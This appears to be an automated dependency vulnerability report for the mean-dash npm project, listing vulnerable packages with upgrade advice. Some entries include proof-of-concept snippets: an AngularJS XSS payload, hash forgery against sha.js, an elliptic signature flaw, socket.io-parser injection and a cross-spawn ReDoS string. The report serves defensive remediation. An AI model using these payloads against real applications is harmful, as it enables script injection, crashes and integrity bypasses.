Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: growl
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › mocha@3.5.3 › growl@1.9.2Remediation: Upgrade to mocha@4.0.0.
Overview
growl is a package adding Growl support for Nodejs.
Affected versions of this package are vulnerable to Command Injection due to unsafe use of the eval() function. Node.js provides the eval() function by default, and is used to translate strings into Javascript code. An attacker can craft a malicious payload to inject arbitrary commands.
Remediation
Upgrade growl to version 1.10.0 or higher.
References
critical severity
- Vulnerable module: open
- Introduced through: webpack-dev-server@1.16.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › open@0.0.5Remediation: Upgrade to webpack-dev-server@2.2.0.
Overview
open is a cross platform package that opens stuff like URLs, files, executables.
Affected versions of this package are vulnerable to Arbitrary Code Injection when unsanitized user input is passed in.
The package does come with the following warning in the readme:
The same care should be taken when calling open as if you were calling child_process.exec directly. If it is an executable it will run in a new shell.
The package open is replacing the opn package, which is now deprecated. The older versions of open are vulnerable.
Note: Upgrading open to the last version will prevent this vulnerability but is also likely to have unwanted effects since it now has a very different API.
Remediation
Upgrade open to version 6.0.0 or higher.
References
critical severity
- Vulnerable module: socket.io-parser
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-adapter@0.3.1 › socket.io-parser@2.2.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-parser@2.2.4Remediation: Upgrade to karma@5.0.8.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › socket.io-parser@2.2.4Remediation: Upgrade to karma@5.0.8.
Overview
socket.io-parser is a socket.io protocol parser
Affected versions of this package are vulnerable to Improper Input Validation.
when parsing attachments containing untrusted user input. Attackers can overwrite the _placeholder object to place references to functions in query objects.
PoC
const decoder = new Decoder();
decoder.on("decoded", (packet) => {
console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})
decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));
Remediation
Upgrade socket.io-parser to version 3.3.3, 3.4.2, 4.0.5, 4.2.1 or higher.
References
critical severity
- Vulnerable module: form-data
- Introduced through: coveralls@2.13.3, request@2.88.2 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › form-data@2.1.4
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › request@2.88.2 › form-data@2.3.3
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
critical severity
- Vulnerable module: babel-traverse
- Introduced through: babel-core@6.26.3, babel-preset-es2015@6.24.1 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
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Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-helper-explode-class@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-helper-explode-class@6.24.1 › babel-helper-bindify-decorators@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Overview
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.
Note:
This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime, @babel/preset-env when using its useBuiltIns option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider. No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.
Users that only compile trusted code are not impacted.
Workaround
Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse.
Remediation
There is no fixed version for babel-traverse.
References
critical severity
- Vulnerable module: elliptic
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › browserify-sign@4.2.5 › elliptic@6.6.1
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › create-ecdh@4.0.4 › elliptic@6.6.1
Overview
elliptic is a fast elliptic-curve cryptography implementation in plain javascript.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to an anomaly in the _truncateToN function. An attacker can cause legitimate transactions or communications to be incorrectly flagged as invalid by exploiting the signature verification process when the hash contains at least four leading 0 bytes, and the order of the elliptic curve's base point is smaller than the hash.
In some situations, a private key exposure is possible. This can happen when an attacker knows a faulty and the corresponding correct signature for the same message.
Note: Although the vector for exploitation of this vulnerability was restricted with the release of versions 6.6.0 and 6.6.1, it remains possible to generate invalid signatures in some cases in those releases as well.
PoC
var elliptic = require('elliptic'); // tested with version 6.5.7
var hash = require('hash.js');
var BN = require('bn.js');
var toArray = elliptic.utils.toArray;
var ec = new elliptic.ec('p192');
var msg = '343236343739373234';
var sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b';
// Same public key just in different formats
var pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723';
var pkPem = '-----BEGIN PUBLIC KEY-----\nMEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEzTWgsY7rj82H/wGXgAEoKHRfBG54\nXeuigVDeG+bLQ3ZSMAa+/zD/CbQEkSXO0pcj\n-----END PUBLIC KEY-----\n';
// Create hash
var hashArray = hash.sha256().update(toArray(msg, 'hex')).digest();
// Convert array to string (just for showcase of the leading zeros)
var hashStr = Array.from(hashArray, function(byte) {
return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('');
var hMsg = new BN(hashArray, 'hex');
// Hashed message contains 4 leading zeros bytes
console.log('sha256 hash(str): ' + hashStr);
// Due to using BN bitLength lib it does not calculate the bit length correctly (should be 32 since it is a sha256 hash)
console.log('Byte len of sha256 hash: ' + hMsg.byteLength());
console.log('sha256 hash(BN): ' + hMsg.toString(16));
// Due to the shift of the message to be within the order of the curve the delta computation is invalid
var pubKey = ec.keyFromPublic(toArray(pk, 'hex'));
console.log('Valid signature: ' + pubKey.verify(hashStr, sig));
// You can check that this hash should validate by consolidating openssl
const fs = require('fs');
fs.writeFile('msg.bin', new BN(msg, 16).toBuffer(), (err) => {
if (err) throw err;
});
fs.writeFile('sig.bin', new BN(sig, 16).toBuffer(), (err) => {
if (err) throw err;
});
fs.writeFile('cert.pem', pkPem, (err) => {
if (err) throw err;
});
// To verify the correctness of the message signature and key one can run:
// openssl dgst -sha256 -verify cert.pem -signature sig.bin msg.bin
// Or run this python script
/*
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
msg = '343236343739373234'
sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b'
pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723'
p192 = ec.SECP192R1()
pk = ec.EllipticCurvePublicKey.from_encoded_point(p192, bytes.fromhex(pk))
pk.verify(bytes.fromhex(sig), bytes.fromhex(msg), ec.ECDSA(hashes.SHA256()))
*/
Remediation
There is no fixed version for elliptic.
References
critical severity
- Vulnerable module: hawk
- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3
Overview
hawk is a library for the HTTP Hawk Authentication Scheme.
Affected versions of this package are vulnerable to Authentication Bypass. The incoming (client supplied) hash of the payload is trusted by the server and not verified before the signature is calculated.
A malicious actor in the middle can alter the payload and the server side will not identify the modification occurred because it simply uses the client provided value instead of verify the hash provided against the modified payload.
According to the maintainers this issue is to be considered out of scope as "payload hash validation is optional and up to developer to implement".
Remediation
There is no fixed version for hawk.
References
critical severity
- Vulnerable module: sha.js
- Introduced through: webpack-stream@3.2.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › node-libs-browser@0.7.0 › crypto-browserify@3.3.0 › sha.js@2.2.6
Overview
Affected versions of this package are vulnerable to Function Call With Incorrect Argument Type due to missing type checks in the update function in the hash.js file. An attacker can manipulate input data by supplying crafted data that causes a hash rewind and unintended data processing.
PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Remediation
Upgrade sha.js to version 2.4.12 or higher.
References
high severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to NULL Pointer Dereference in the function Sass::Functions::selector_append which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. node-sass is affected by this vulnerability due to its bundled usage of libsass.
Remediation
There is no fixed version for node-sass.
References
high severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Use After Free via the SharedPtr class in SharedPtr.cpp (or SharedPtr.hpp) that may cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
high severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.8.0.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). XSS may be triggered in AngularJS applications that sanitize user-controlled HTML snippets before passing them to JQLite methods like JQLite.prepend, JQLite.after, JQLite.append, JQLite.replaceWith, JQLite.append, new JQLite and angular.element.
JQLite (DOM manipulation library that's part of AngularJS) manipulates input HTML before inserting it to the DOM in jqLiteBuildFragment.
One of the modifications performed expands an XHTML self-closing tag.
If jqLiteBuildFragment is called (e.g. via new JQLite(aString)) with user-controlled HTML string that was sanitized (e.g. with DOMPurify), the transformation done by JQLite may modify some forms of an inert, sanitized payload into a payload containing JavaScript - and trigger an XSS when the payload is inserted into DOM.
PoC
const inertPayload = `<div><style><style/><img src=x onerror="alert(1337)"/>`
Note that the style element is not closed and <img would be a text node inside the style if inserted into the DOM as-is.
As such, some HTML sanitizers would leave the <img as is without processing it and stripping the onerror attribute.
angular.element(document).append(inertPayload);
This will alert, as <style/> will be replaced with <style></style> before adding it to the DOM, closing the style element early and reactivating img.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade angular to version 1.8.0 or higher.
References
high severity
- Vulnerable module: cross-spawn
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › cross-spawn@3.0.1Remediation: Upgrade to node-sass@5.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
PoC
const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
str += "\\";
}
str += "◎";
console.log("start")
argument(str)
console.log("end")
// run `npm install cross-spawn` and `node attack.js`
// then the program will stuck forever with high CPU usage
Details
